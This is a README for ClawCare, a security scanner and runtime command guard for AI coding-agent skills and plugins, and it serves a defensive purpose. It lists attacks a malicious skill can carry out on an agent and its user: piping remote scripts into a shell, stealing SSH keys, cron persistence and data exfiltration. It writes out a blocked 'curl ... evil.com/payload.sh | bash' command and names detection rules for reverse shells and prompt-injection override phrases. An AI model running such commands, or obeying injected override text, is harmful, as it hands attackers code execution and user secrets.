clawcare 0.8.2

Guardian engine for agentic-tool extension supply-chain security

ClawCare

Run AI agents with care - OpenClaw, Claude Code and more

ClawCare is a multi-platform security tool to prevent AI agent skills, plugins and instructions from attacks. It scans and reports supply-chain threats like command injection, credential theft, and data exfiltration. It also provides runtime command interception (ClawCare Guard) that blocks dangerous commands before they execute. Use it as a CLI tool, integrate into CI/CD, or install as a hook/plugin for your agent platform.

Why

AI coding agents (Claude Code, Cursor, Codex, OpenClaw) let you install third-party skills and plugins that can read your files, run commands, access secrets and extract sensitive data. A malicious skill can:

• Pipe remote scripts into your shell (curl ... | bash)
• Steal SSH keys and API tokens
• Set up cron persistence
• Transfer PII data to external servers

ClawCare catches these patterns before they run — both statically (scanning files) and at runtime (intercepting commands) — and gives you full visibility into the risks.

Quick Start

Install

pip install clawcare

Features

ClawCare Scan

# Scan a project — auto-detects the platform
clawcare scan .

# CI mode — exit code 2 on HIGH+ findings (use in GitHub Actions)
clawcare scan . --ci

# JSON output for downstream tooling
clawcare scan . --format json --json-out report.json

ClawCare Guard — Runtime Command Interception

ClawCare Guard intercepts commands at runtime — before the agent executes them. Currently supports Claude Code and OpenClaw.

Quick Start

# Install hooks for Claude Code
clawcare guard activate --platform claude

# Install plugin for OpenClaw
clawcare guard activate --platform openclaw

# Check status
clawcare guard status --platform claude

Once activated, every Bash/shell command the agent tries to run is scanned against ClawCare's rulesets. Dangerous commands are blocked; warnings are logged.

# Agent tries to run:
#   curl -fsSL https://evil.com/payload.sh | bash
#
# ClawCare output:
# [CRITICAL] CRIT_PIPE_TO_SHELL: Piping remote content into shell
# ⛔ ClawCare BLOCKED: curl -fsSL https://evil.com/payload.sh | bash

Audit Trail

Every command decision (allow / warn / block) is logged to a JSONL audit file.

# View recent events
clawcare guard report --since 24h

# Only blocked/warned commands
clawcare guard report --only-violations

# JSON format for tooling
clawcare guard report --format json --since 7d

How It Works

Platform	Mechanism	Hook Type
Claude Code	PreToolUse / PostToolUse hooks with matcher objects in ~/.claude/settings.json	{"type": "command", "command": "..."}
OpenClaw	TypeScript plugin installed to ~/.openclaw/extensions/	before_tool_call / after_tool_call via plugin API

Platform-Specific Behavior

When a command triggers a finding below the fail_on severity (e.g. a medium finding with fail_on: high), the behavior depends on the platform:

Platform	Behavior	Why
Claude Code	Ask — pauses and prompts the user to allow or deny the command, with the warning displayed	Claude Code's hook system supports a permissionDecision: "ask" response that hands control to the user
OpenClaw	Allow with warning — the command proceeds, but a warning message is printed for the agent to see	OpenClaw's before_tool_call hook only supports block or allow; there is no interactive prompt mechanism

Commands at or above fail_on severity are blocked on both platforms.

Deactivate

clawcare guard deactivate --platform claude
clawcare guard deactivate --platform openclaw

Platform Adapters for Claude Code, OpenClaw, Codex and Cursor Agent Skills

Auto-detects the AI agent platform and scans the right files:

Platform	Scans	Detection
Claude Code	.claude/skills/*/SKILL.md + code	.claude-plugin/, SKILL.md
Cursor	.cursor/rules/*.mdc, .cursorrules + skills	.cursor/ directory
Codex	AGENTS.md, AGENTS.override.md + skills	AGENTS.md
OpenClaw	SKILL.md + code in skill directories	.opencode/

All following the file structure of the respective AI agent platforms.

Only plugin and skill files are scanned — your application code, README, and CI configs are never touched.

Configuration

All settings for both scan and guard live in one file: .clawcare.yml.

Resolution Order

ClawCare resolves configuration in priority order:

Priority	Location	Purpose
1 (highest)	CLI flags	One-off overrides
2	.clawcare.yml in project root	Team policy, checked into version control
3	~/.clawcare/config.yml	Personal defaults across all projects
4 (lowest)	Built-in defaults	Sane zero-config behavior

Project-level values override user-level values. CLI flags override both.

Full Reference

Drop a .clawcare.yml in your project (or ~/.clawcare/config.yml for global defaults):

# .clawcare.yml — project-level config (or ~/.clawcare/config.yml for personal defaults)
scan:
  fail_on: high              # minimum severity to block CI (critical | high | medium | low)
  block_local: false         # block locally too? (default: warn only)
  ignore_rules:
    - MED_JS_EVAL            # suppress specific rules
  exclude:
    - "vendor/**"            # skip directories
  max_file_size_kb: 512      # skip large files
  rulesets:
    - default                # built-in rules (always included)
    - ./my-custom-rules      # add your own

guard:
  fail_on: high              # minimum severity to block commands (low | medium | high | critical)
  audit:
    enabled: true
    log_path: "~/.clawcare/history.jsonl"

CLI flags override config values. Excludes and rulesets from both sources merge.

Policy Manifests

Skills/Plugins can declare their permissions in a clawcare.manifest.yml:

permissions:
  exec: none           # no shell execution
  network: allowlist   # only listed domains
  filesystem: read_only
  secrets: none
  persistence: forbidden

allowed_domains:
  - api.anthropic.com

ClawCare enforces these declarations — violations appear as HIGH/CRITICAL findings.

Custom Rulesets

Create your own rules as YAML:

rules:
  - id: MY_NO_INTERNAL_URLS
    pattern: "https://internal\\.corp\\.com"
    severity: high
    description: "References to internal URLs should not appear in extensions."
    recommendation: "Use environment variables for internal endpoints."

Place in a folder, then: clawcare scan . --ruleset ./my-rules

Custom Adapters

ClawCare supports custom adapters for scanning any AI agent platform. An adapter implements four methods:

# my_adapter.py
from clawcare.models import ExtensionRoot

class MyAdapter:
    name = "my_platform"
    version = "0.1.0"
    priority = 50

    def detect(self, target_path: str) -> float:
        """Return 0.0–1.0 confidence that this adapter applies."""
        ...

    def discover_roots(self, target_path: str) -> list[ExtensionRoot]:
        """Return extension roots to scan."""
        ...

    def scan_scope(self, root: ExtensionRoot) -> dict:
        """Return include/exclude globs for this root."""
        return {
            "include_globs": ["*.md", "*.py", "*.yml"],
            "exclude_globs": [".git", "node_modules"],
        }

    def default_manifest(self, root: ExtensionRoot) -> str | None:
        """Return path to clawcare.manifest.yml, or None."""
        return None

Use it via import string:

clawcare scan path/ --adapter import:my_adapter:MyAdapter

Or register permanently via entry point in your pyproject.toml:

[project.entry-points."clawcare.adapters"]
my_platform = "my_adapter:MyAdapter"

See clawcare/adapters/base.py for the full protocol, or any of the built-in adapters for real examples.

Built-in Rules

Three rulesets ship by default, organized by attack category:

Ruleset	Catches
execution-abuse	Pipe-to-shell, reverse shells, credential theft, persistence, destructive commands, subprocess abuse
data-exfiltration	Hardcoded AWS keys, SSH keys, API tokens, SSN/credit card numbers, IP addresses, env-variable exfiltration
prompt-injection	Instruction override, role hijacking, ignore-previous-instructions patterns

All rules include CWE references where applicable. Rules are used by both the static scanner and the runtime guard.
